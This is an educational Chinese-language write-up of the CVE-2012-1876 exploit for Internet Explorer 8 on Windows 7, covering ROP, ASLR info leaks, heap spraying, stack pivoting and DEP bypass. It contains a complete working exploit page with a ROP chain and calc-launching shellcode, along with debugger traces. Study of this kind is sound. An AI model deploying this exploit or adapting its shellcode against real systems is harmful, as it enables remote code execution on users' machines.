Author: xd0ol1 (知道创宇404实验室)
前面一篇文章我们分析了CVE-2012-1876漏洞的成因,在此基础上我们接着看下漏洞的利用,另外,写的不对之处还望各位多多指正:D
首先说明一点,我们这里讨论的利用方法如今大都存在防护手段了,比如用户模式下的EMET相对而言就加大了exploit的开发难度,但出于学习目的我们先不考虑这些。同时,和之前一样这里的分析环境也为Win7 x86 - IE 8.0.7601.17514。
本次分析中用到的Exp代码如下:
<html> <body> <div id="evil"></div> <table style="table-layout:fixed"><col id="132" width="41" span="9"> </col></table> <script language='javascript'> //将字符串转换为整数 function strtoint(str) { return str.charCodeAt(1)*0x10000 + str.charCodeAt(0); } //初始化布局的字符串变量 var free = "EEEE"; while ( free.length < 500 ) free += free; var string1 = "AAAA"; while ( string1.length < 500 ) string1 += string1; var string2 = "BBBB"; while ( string2.length < 500 ) string2 += string2; var fr = new Array(); var al = new Array(); var bl = new Array(); var div_container = document.getElementById("evil"); div_container.style.cssText = "display:none"; //接着按字符串E、字符串A、字符串B、CButtonLayout对象进行堆空间布局 for (var i=0; i < 500; i+=2) { fr[i] = free.substring(0, (0x100-6)/2); al[i] = string1.substring(0, (0x100-6)/2); bl[i] = string2.substring(0, (0x100-6)/2); var obj = document.createElement("button"); div_container.appendChild(obj); } //释放布局后字符串E对应的堆空间 for (var i=200; i<500; i+=2 ) { fr[i] = null; CollectGarbage(); } //进行ROP链中Gadget地址和参数的布局,并与填充数据以及shellcode拼接完成堆喷数据的初始化 //最后执行堆喷将这些数据布局到内存中 function heapspray(cbuttonlayout) { CollectGarbage(); //处理各个Gadget的地址信息 var rop = cbuttonlayout + 4161; // RET var rop = rop.toString(16); var rop1 = rop.substring(4,8); var rop2 = rop.substring(0,4); // } RET //......省略,可参见https://www.exploit-db.com/exploits/24017/ var rop = cbuttonlayout + 408958; // PUSH ESP var rop = rop.toString(16); var rop23 = rop.substring(4,8); var rop24 = rop.substring(0,4); // } RET var shellcode = unescape("%u4141%u4141%u4242%u4242%u4343%u4343"); // PADDING shellcode+= unescape("%u4141%u4141%u4242%u4242%u4343%u4343"); // PADDING shellcode+= unescape("%u4141%u4141"); // PADDING //ROP链中的Gadget地址和参数布局,以实现栈转移和DEP绕过 shellcode+= unescape("%u"+rop1+"%u"+rop2); // RETN shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP # RETN shellcode+= unescape("%u"+rop5+"%u"+rop6); // XCHG EAX,ESP # RETN shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP shellcode+= unescape("%u"+rop7+"%u"+rop8); // POP EBP shellcode+= unescape("%u1024%u0000"); // Size 0x00001024 shellcode+= unescape("%u"+rop9+"%u"+rop10); // POP EDX shellcode+= unescape("%u0040%u0000"); // 0x00000040 shellcode+= unescape("%u"+rop11+"%u"+rop12); // POP ECX shellcode+= unescape("%u"+writable1+"%u"+writable2); // Writable Location shellcode+= unescape("%u"+rop13+"%u"+rop14); // POP EDI shellcode+= unescape("%u"+rop1+"%u"+rop2); // RET shellcode+= unescape("%u"+rop15+"%u"+rop16); // POP ESI shellcode+= unescape("%u"+jmpeax1+"%u"+jmpeax2); // JMP EAX shellcode+= unescape("%u"+rop17+"%u"+rop18); // POP EAX shellcode+= unescape("%u"+vp1+"%u"+vp2); // VirtualProtect() shellcode+= unescape("%u"+rop19+"%u"+rop20); // MOV EAX,DWORD PTR DS:[EAX] shellcode+= unescape("%u"+rop21+"%u"+rop22); // PUSHAD shellcode+= unescape("%u"+rop23+"%u"+rop24); // PUSH ESP shellcode+= unescape("%u9090%u9090"); // NOPs shellcode+= unescape("%u9090%u9090"); // NOPs shellcode+= unescape("%u9090%u9090"); // NOPs //弹出计算器的shellcode shellcode+= unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30" + "%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031" + "%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752" + "%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a" + "%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34" + "%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475" + "%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" + "%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424" + "%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86" + "%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff" + "%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c" + "%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5" + "%u6c61%u2e63%u7865%u0065"); //初始化堆喷数据 var padding = unescape("%u9090"); while (padding.length < 1000) padding = padding + padding; var padding = padding.substr(0, 1000 - shellcode.length); shellcode+= padding; while (shellcode.length < 100000) shellcode = shellcode + shellcode; var onemeg = shellcode.substr(0, 64*1024/2); for (i=0; i<14; i++) { onemeg += shellcode.substr(0, 64*1024/2); } onemeg += shellcode.substr(0, (64*1024/2)-(38/2)); //通过堆喷布局rop和shellcode var spray = new Array(); for (i=0; i<100; i++) { spray[i] = onemeg.substr(0, onemeg.length); } } //触发第一次堆溢出用以获取泄露的mshtml模块基址 function leak() { var leak_col = document.getElementById("132"); leak_col.width = "41"; leak_col.span = "19"; } //计算mshtml模块基址,并通过堆喷进行rop和shellcode布局 function get_leak() { var str_addr = strtoint(bl[498].substring((0x100-6)/2+11,(0x100-6)/2+13)); str_addr = str_addr - 1410704; setTimeout(function(){heapspray(str_addr)}, 50); } //触发第二次堆溢出用以覆盖虚表指针,使程序转到rop处执行 function trigger_overflow() { var evil_col = document.getElementById("132"); evil_col.width = "1278888"; evil_col.span = "29"; } setTimeout(function(){leak()}, 400); setTimeout(function(){get_leak()}, 450); setTimeout(function(){trigger_overflow()}, 1000); </script> </body> </html>
Exp执行完成后会弹出一个计算器,下面我们对其中利用到的各个技术点展开来讨论。
ROP(Return-oriented Programming)是一种区别于代码注入的技术,它利用进程已加载模块中的代码实现所需的操作。其中有个重要的概念叫Gadget,即以ret指令结束的代码小片段,我们知道ret指令等价于pop+jmp,因此可用来控制程序的执行流程。此技术正是通过控制栈空间的布局,即精心排列好的返回地址和参数,从而将各个Gadget拼接起来,最终实现想要的代码功能。我们来看如下的一个例子:
栈里面是放置好的返回地址和参数,中间是各个Gadget,最开始会执行一条ret指令,程序弹出返回地址0xb8800000并跳到该地址处执行,此时栈顶指向参数0x00000001,接着第一个Gadget中会将该参数pop到eax寄存器中,执行完后栈顶指向返回地址0xb8801000,而后再次执行ret指令弹出该返回地址并跳过去执行,如此往复就实现了Action中对应的功能。可以看到,虽然每个Gadget只实现了一小部分操作,但拼接起来却是别有洞天,Exp中正是利用的此技巧。
要想使用ROP技术,首先需要确定Gadget从哪里来,现今的操作系统一般采用ASLR(Address space layout randomization)技术对程序各模块、堆栈等线性区布局进行随机化处理,以增加攻击者预测目的地址的难度,从如下示意图可以看到程序每次启动后的进程地址空间分布都是随机的:
因此我们需要想办法动态获取模块的基址,这样才能保证准确获取到Gadget,此Exp就是基于动态泄露的mshtml.dll模块基址实现的。通过相关资料我们知道读取mshtml!CButtonLayout对象的vftable值可以计算出mshtml.dll模块的基址,因为该值位于此模块中的固定偏移处,所以可被利用,接下来我们就分析下如何借助CVE-2012-1876这个漏洞来获取mshtml.dll模块的基址。
最开始需要对堆空间进行布局,关键代码如下:
//初始化布局字符串变量 var free = "EEEE"; while ( free.length < 500 ) free += free; var string1 = "AAAA"; while ( string1.length < 500 ) string1 += string1; var string2 = "BBBB"; while ( string2.length < 500 ) string2 += string2; ...... //进行堆空间的布局 for (var i=0; i < 500; i+=2) { fr[i] = free.substring(0, (0x100-6)/2); al[i] = string1.substring(0, (0x100-6)/2); bl[i] = string2.substring(0, (0x100-6)/2); var obj = document.createElement("button"); div_container.appendChild(obj); } //释放布局后的某些堆空间 for (var i=200; i<500; i+=2 ) { fr[i] = null; CollectGarbage(); }
上述代码中的字符串将会分配到堆空间上,并且被转换成了BSTR对象,此对象包含头部和尾部,字符以unicode存储,头部4个字节表示字符串长度,尾部2个字节表示结束。比如执行一次下述代码:
al[i] = string1.substring(0, (0x100-6)/2);
与其对应的内存结构就应该如下:
代码在布局时会连续填充字符串,由堆空间管理的性质可知分配的这些堆空间最终会紧挨在一起,因此内存中的分布会如上图那样彼此间相邻。同时,这里还利用了堆空间管理中的另一性质,即当某块堆空间被释放后如果接下来又有新的申请堆空间操作且此释放掉的空间大小合适,那么会将释放掉的该堆空间重新分配给此时的申请操作。我们注意下面代码:
<table style="table-layout:fixed"><col id="132" width="41" span="9"> </col></table>
就这里来说,程序将为其分配0x1C*9=0xFC字节大小的堆空间,而在布局时释放掉的那些堆空间大小为0x100字节,所以最后释放掉的那块堆空间将会重新分配来保存column的样式信息,最终内存中的分布会是如下这个样子:
为了计算mshtml.dll模块的基址,我们需要获取黄色区域标识的vftable数值,这里利用了堆溢出,同样,也是通过js代码动态更新span属性值的方式来达到目的:
function leak() { var leak_col = document.getElementById("132"); leak_col.width = "41"; leak_col.span = "19"; }
由于写入的样式信息个数超过了申请的堆空间所能容纳的个数,所以会造成堆溢出,此时的内存布局如下:
可以看到字符串B对应的长度字段值由原来的0x000000fa变成了0x00010048,因此该对象能访问的内存空间变广了,这样我们就能通过如下代码获取到CButtonLayout对象的vftable值,也就是黄色区域标识的数值,并最终计算得到mshtml.dll模块的基址:
我们可以验证下:
其中,0x6b8e8690-1410704=0x6B790000,因此mshtml.dll模块的基址就成功获取到了。
在得到mshtml.dll模块的基址后,我们就有机会构造相应ROP链来实现想要的功能了,那么现在需要解决另一个问题,也就是如何让程序跳到我们的ROP链中执行。此Exp首先会利用堆喷技术将ROP链中的Gadget地址和参数以及后面用到的shellcode布局到进程地址空间中的固定位置,而后再利用堆溢出重写CButtonLayout对象的虚表指针,使其指向前面提到的固定位置,这样当虚函数被调用时就会跳转到我们的ROP链中。
简单来说,堆喷是一种payload布局技术,能够保证将payload放置到我们可预测的地址处。接下来我们通过此Exp来跟一下这个过程,首先看下CButtonLayout对象的虚表指针是如何控制调用流程的:
注意到最后的那个call调用,跳转地址是由虚表指针指向的内容决定的,如果我们将这个指针改掉,使其指向我们能够控制的且包含ROP+shellcode的地址空间,那么我们的目的也就达到了。同样,堆溢出还是通过动态修改span属性值的方式来触发,其中,span的值需要保证溢出到虚表指针处,而width的值我们留在后面讨论:
溢出后内存中的分布就变成了下述样子,原先的虚表指针被重写了,对应数值为width属性值1278888*100=0x079f6da0:
而0x079f6da0这个地址对应的进程空间我们可以通过堆喷进行控制,此时其中的内容为:
接下来我们重点看下堆喷,如下是由Vmmap工具观察到的堆喷时进程地址空间的变化情况,其中,橘黄色标识的部分为堆空间数据,这里总共喷了100M字节大小的数据,从时间图可以看出堆空间的分配有个急剧的增长过程:
如下是单次堆喷数据的组织形式:
//初始化堆喷数据 var padding = unescape("%u9090"); while (padding.length < 1000) padding = padding + padding; var padding = padding.substr(0, 1000 - shellcode.length); shellcode+= padding; while (shellcode.length < 100000) shellcode = shellcode + shellcode; var onemeg = shellcode.substr(0, 64*1024/2); for (i=0; i<14; i++) { onemeg += shellcode.substr(0, 64*1024/2); } onemeg += shellcode.substr(0, (64*1024/2)-(38/2));
需要注意一点,通过函数unescape可以避免字符被转成unicode,同时虽然从代码上看包含ROP+shellcode+padding的一个基本单元占的是1000字节,但内存中实际分配了2000字节,这也是为什么有那么多除2操作的原因了,代码给出的是从2000字节->0x10000字节->0x100000字节的组织过程。此外,由于堆空间管理的对齐性质,当然了,还有前面提到的彼此相邻的性质,所以分配到的堆空间将类似下面这个样子:
通过分析可以知道对于申请大小为0x100000字节的堆空间会有0x24字节的首部和0x02字节的尾部,同时Exp中在ROP+shellcode之前会有如下的填充字节:
var shellcode = unescape("%u4141%u4141%u4242%u4242%u4343%u4343"); shellcode+= unescape("%u4141%u4141%u4242%u4242%u4343%u4343"); shellcode+= unescape("%u4141%u4141"); // PADDING
综上分析,我们就可以计算出ROP+shellcode在进程空间中的分布情况了,如下代码是用于计算从地址空间0x07500000开始到0x08000000中符合条件的所有width属性值,从中选出一个能稳定利用的就可以了:
for(i=0x07500000; i < 0x08000000; i += 0x10000) { for(j=0x40; j < 0x10000; j += 2000) { if((i+j)%100 == 0){ printf("%d ", (i+j)/100); } } }
得到的结果如下,只列出了部分,这也就是为什么我们可以通过堆喷的方式来对payload进行布局了,首先需要设计好包含ROP+shellcode的堆喷数据,而后借助堆喷技术就能将其布局到我们可以预测的地址处了:
我们现在已经能够将程序的执行流程引到我们的ROP链中了,但不要忘了目前的ROP信息是处在堆空间上的,而ROP技术中Gadget地址和参数是要布局到栈上的,这样才能借住ret指令控制程序的流程。所以我们还需要利用栈转移技术,也就是把这里的堆地址写入到esp寄存器中,这样程序就会认为我们的ROP信息是保存在栈空间中的。要做到这一点我们必须在最开始的Gadget上寻求解决办法,通过分析可以发现如果接下来的Gadget中能把eax寄存器的值和esp做个对调,那么就能实现栈转移了,如下是此Exp中的实现,完成栈转移后接下来的流程就能由ROP链来控制了:
0:005> g Breakpoint 1 hit eax=079f6da0 ebx=01000000 ecx=02f22610 edx=00000041 esi=0232cfd8 edi=02f1f108 eip=6b8fe663 esp=0232ce18 ebp=0232ce48 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!NotifyElement+0x3d: 6b8fe663 56 push esi 0:005> p eax=079f6da0 ebx=01000000 ecx=02f22610 edx=00000041 esi=0232cfd8 edi=02f1f108 eip=6b8fe664 esp=0232ce14 ebp=0232ce48 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!NotifyElement+0x3e: 6b8fe664 ff5008 call dword ptr [eax+8] ds:0023:079f6da8=6b74b43b 0:005> dd eax 079f6da0 6b731041 6b732c60 6b74b43b 6b732c60 079f6db0 6b732c60 6b733059 00001024 6b7cced0 079f6dc0 00000040 6b732fa9 6bc6fe20 6b7330ae 079f6dd0 6b731041 6b732f0b 6b73f920 6b744ef7 079f6de0 6b731348 6b79f0bb 6b7694a1 6b793d7e 079f6df0 90909090 90909090 90909090 0089e8fc 079f6e00 89600000 64d231e5 8b30528b 528b0c52 079f6e10 28728b14 264ab70f c031ff31 7c613cac 0:005> u 6b74b43b L3 mshtml!CTreeNode::GetParentWidth+0x9c: 6b74b43b 94 xchg eax,esp 6b74b43c c3 ret 6b74b43d 8bf0 mov esi,eax 0:005> t eax=079f6da0 ebx=01000000 ecx=02f22610 edx=00000041 esi=0232cfd8 edi=02f1f108 eip=6b74b43b esp=0232ce10 ebp=0232ce48 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTreeNode::GetParentWidth+0x9c: 6b74b43b 94 xchg eax,esp 0:005> p eax=0232ce10 ebx=01000000 ecx=02f22610 edx=00000041 esi=0232cfd8 edi=02f1f108 eip=6b74b43c esp=079f6da0 ebp=0232ce48 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTreeNode::GetParentWidth+0x9d: 6b74b43c c3 ret 0:005> dd esp 079f6da0 6b731041 6b732c60 6b74b43b 6b732c60 079f6db0 6b732c60 6b733059 00001024 6b7cced0 079f6dc0 00000040 6b732fa9 6bc6fe20 6b7330ae 079f6dd0 6b731041 6b732f0b 6b73f920 6b744ef7 079f6de0 6b731348 6b79f0bb 6b7694a1 6b793d7e 079f6df0 90909090 90909090 90909090 0089e8fc 079f6e00 89600000 64d231e5 8b30528b 528b0c52 079f6e10 28728b14 264ab70f c031ff31 7c613cac
栈转移就是要把布局有ROP信息的堆地址放到esp寄存器中,可以通过交换或者写入的方式,比如mov、pop、xchg等,当然,具体使用什么样的Gadget还需要由当前程序的特点来决定。
下面进入最后一部分内容,我们的最终目的是要执行内存中布置好的shellcode,但由于系统采用了DEP(Data Execution Prevention)技术,它会借助一系列的软硬件方法对内存进行检查,所以堆栈上的shellcode是不能直接执行的。接下来我们就分析下此Exp是如何进行DEP绕过的,也就是ROP部分实现的功能,如下是利用堆栈执行恶意操作的示意图:
首先我们介绍下VirtualProtect函数,它可用来改变进程中页面的保护属性,具体定义如下:
其中,lpAddress和dwSize表示待设置页面的起始地址和大小,flNewProtect为保护方式,当它的值为0x00000040时表示PAGE_EXECUTE_READWRITE,这正是我们后面要设置的,lpflOldProtect则指向可写区域用于保存原先的保护属性。
ROP链中将借助此函数来改变shellcode所在堆空间的页面保护属性,通过跟踪可知当栈转移完成后就进入到ROP链的执行流程,刚开始的几个Gadget会先将VirtualProtect的调用参数pop到相应寄存器中,而后再执行pushad指令将这些寄存器压入栈中,即模拟call调用时的参数压栈操作,最后调用VirtualProtect函数来修改页面的保护属性,我们可以看下这个过程:
最终程序会转到弹出计算器的shellcode上执行。